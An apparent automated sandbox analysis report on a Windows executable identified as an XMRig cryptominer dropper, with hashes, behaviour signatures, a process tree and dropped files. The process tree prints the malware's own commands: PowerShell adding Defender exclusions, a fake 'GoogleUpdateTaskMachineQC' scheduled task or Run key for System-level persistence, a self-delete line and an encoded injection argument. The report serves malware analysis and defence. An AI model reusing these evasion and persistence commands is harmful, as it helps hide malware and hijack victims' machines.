Resubmissions

24-10-2024 20:12

241024-yyvg5asemn 10

24-10-2024 20:11

241024-yygk9ssemk 10

24-10-2024 20:11

241024-yygahasemj 10

24-10-2024 20:11

241024-yyd55sselq 10

24-10-2024 20:08

241024-yw247asdqp 10

24-10-2024 20:08

241024-yw1lcssdqn 10

24-10-2024 20:08

241024-ywx58ssdql 10

22-08-2024 20:59

240822-zs4paaxemb 10

22-08-2024 20:59

240822-zs2jxszern 10

22-08-2024 20:59

240822-zsy4ssxelg 10

Analysis

  • max time kernel
    1799s
  • max time network
    1793s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-08-2024 20:59

General

  • Target

    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3440
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:4200
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2524
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4080
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3660
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2344
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2364
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:3592
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1656
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:832
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              3⤵
              • Drops file in Program Files directory
              PID:4644
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:440
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:1088
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:3320
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4340
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              PID:4396

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Libs\g.log

            Filesize

            226B

            MD5

            fdba80d4081c28c65e32fff246dc46cb

            SHA1

            74f809dedd1fc46a3a63ac9904c80f0b817b3686

            SHA256

            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

            SHA512

            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            2e907f77659a6601fcc408274894da2e

            SHA1

            9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

            SHA256

            385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

            SHA512

            34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            f724bbbca205ff67756a1211f194a637

            SHA1

            49556a18431c690a2d42d87f93e6eb68a96d1d98

            SHA256

            12aaadbd93ee8af4fd10d6308d067a520ae60e2a3c1573fd9f94ca952a0eafc5

            SHA512

            f09238aaa243ee6841382dfd95bb7fadec7fb8a367be5e55fe651191dd3e9110a39b380ab72a595c7d09a1b49ab174fc40bdcbfb7a0b593760db924566bbfb75

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3wubyyqg.3yt.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            4KB

            MD5

            bdb25c22d14ec917e30faf353826c5de

            SHA1

            6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

            SHA256

            e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

            SHA512

            b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            b42c70c1dbf0d1d477ec86902db9e986

            SHA1

            1d1c0a670748b3d10bee8272e5d67a4fabefd31f

            SHA256

            8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

            SHA512

            57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

          • memory/832-115-0x00007FF73A2D0000-0x00007FF73A2E6000-memory.dmp

            Filesize

            88KB

          • memory/832-110-0x00007FF73A2D0000-0x00007FF73A2E6000-memory.dmp

            Filesize

            88KB

          • memory/1656-75-0x00000176EC280000-0x00000176EC288000-memory.dmp

            Filesize

            32KB

          • memory/1656-73-0x00000176EC270000-0x00000176EC27A000-memory.dmp

            Filesize

            40KB

          • memory/1656-74-0x00000176EC2D0000-0x00000176EC2EA000-memory.dmp

            Filesize

            104KB

          • memory/1656-72-0x00000176EC290000-0x00000176EC2AC000-memory.dmp

            Filesize

            112KB

          • memory/1656-71-0x00000176EBE00000-0x00000176EBE0A000-memory.dmp

            Filesize

            40KB

          • memory/1656-77-0x00000176EC2C0000-0x00000176EC2CA000-memory.dmp

            Filesize

            40KB

          • memory/1656-76-0x00000176EC2B0000-0x00000176EC2B6000-memory.dmp

            Filesize

            24KB

          • memory/1656-70-0x00000176EC070000-0x00000176EC125000-memory.dmp

            Filesize

            724KB

          • memory/1656-69-0x00000176EC050000-0x00000176EC06C000-memory.dmp

            Filesize

            112KB

          • memory/2524-17-0x00007FFF70770000-0x00007FFF71231000-memory.dmp

            Filesize

            10.8MB

          • memory/2524-1-0x00007FFF70773000-0x00007FFF70775000-memory.dmp

            Filesize

            8KB

          • memory/2524-13-0x00007FFF70770000-0x00007FFF71231000-memory.dmp

            Filesize

            10.8MB

          • memory/2524-14-0x00007FFF70770000-0x00007FFF71231000-memory.dmp

            Filesize

            10.8MB

          • memory/2524-12-0x00007FFF70770000-0x00007FFF71231000-memory.dmp

            Filesize

            10.8MB

          • memory/2524-2-0x000002A574D40000-0x000002A574D62000-memory.dmp

            Filesize

            136KB

          • memory/3320-132-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-128-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-168-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-166-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-164-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-162-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-160-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-107-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-158-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-109-0x00000172B0C80000-0x00000172B0CA0000-memory.dmp

            Filesize

            128KB

          • memory/3320-112-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-111-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-156-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-114-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-154-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-116-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-118-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-120-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-122-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-124-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-126-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-152-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-130-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-150-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-134-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-136-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-138-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-140-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-142-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-144-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-146-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/3320-148-0x00007FF7ABD40000-0x00007FF7AC534000-memory.dmp

            Filesize

            8.0MB

          • memory/4080-19-0x00007FFF70770000-0x00007FFF71231000-memory.dmp

            Filesize

            10.8MB

          • memory/4080-25-0x00007FFF70770000-0x00007FFF71231000-memory.dmp

            Filesize

            10.8MB

          • memory/4080-26-0x00007FFF70770000-0x00007FFF71231000-memory.dmp

            Filesize

            10.8MB

          • memory/4080-32-0x00007FFF70770000-0x00007FFF71231000-memory.dmp

            Filesize

            10.8MB

          • memory/4080-33-0x00007FFF70770000-0x00007FFF71231000-memory.dmp

            Filesize

            10.8MB

          • memory/4080-35-0x00007FFF70770000-0x00007FFF71231000-memory.dmp

            Filesize

            10.8MB

          • memory/4200-0-0x00007FF7746E0000-0x00007FF7748F1000-memory.dmp

            Filesize

            2.1MB

          • memory/4200-37-0x00007FF7746E0000-0x00007FF7748F1000-memory.dmp

            Filesize

            2.1MB

          • memory/4340-50-0x00007FF62B7A0000-0x00007FF62B9B1000-memory.dmp

            Filesize

            2.1MB

          • memory/4340-108-0x00007FF62B7A0000-0x00007FF62B9B1000-memory.dmp

            Filesize

            2.1MB